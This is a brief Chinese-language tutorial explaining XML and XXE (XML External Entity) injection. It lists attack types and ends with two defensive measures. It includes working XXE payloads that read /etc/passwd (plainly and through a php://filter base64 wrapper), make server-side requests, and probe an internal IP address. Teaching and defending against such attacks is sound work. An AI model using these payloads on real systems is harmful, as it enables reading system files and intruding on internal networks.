XXE漏洞又稱XML外部實體注入(XML External Entity)

介紹XXE漏洞前先說一下什麼是XML

XML語言

XML用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言

xml的特性

1:無行為:xml只負責包裝資料,沒有程式語言的邏輯和行為能力,傳送、接收、解析都由應用程式完成。
2:純文字:只有文字,沒有顏色加粗等文字樣式(bat,html,txt檔案都是純文字的)。
3:自定義:標籤和屬性名均可以自定義。

xml的設計宗旨是傳輸資料,側重於描述和存放資料,焦點是資料的內容,常用於作為軟體配置檔案和傳輸資料

常見的XML語法結構

XXE漏洞攻擊原理

XXE漏洞發生在程式解析XML輸入時,沒有禁止外部實體的載入,導致可載入惡意外部檔案,造成檔案讀取、命令執行、內網埠掃描、攻擊內網網站等危害。

在某些情況下,攻擊者可以利用XXE漏洞執行伺服器端請求偽造(SSRF)攻擊,從而升級XXE攻擊,以破壞底層伺服器或其他後端基礎結構。

一般遇到XML語言都可以嘗試進行XXE注入

XXE漏洞攻擊

XXE 攻擊型別 描述
利用 XXE 檢索檔案 定義包含檔案內容的外部實體,並在應用程式的響應中返回。
利用 XXE 執行 SSRF 攻擊 外部實體基於 URL 到後端系統的定義。
利用盲XXE外洩資料帶外 將敏感資料從應用程式伺服器傳輸到攻擊者控制的系統。
利用盲 XXE 通過錯誤訊息檢索資料 攻擊者可以觸發包含敏感資料的解析錯誤訊息的位置。

XXE:本地檔案包含示例

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>&admin;</name><password>admin</password></root>

XXE:SSRF ( 伺服器側請求偽造 ) 示例

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]>
<foo>&xxe;</foo>

XXE:探測內網地址 示例

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
<foo>&xxe;</foo>

XXE防禦

  • 禁止使用外部實體,例如libxml_disable_entity_loader(true)
  • 過濾使用者提交的XML資料防止出現非法內容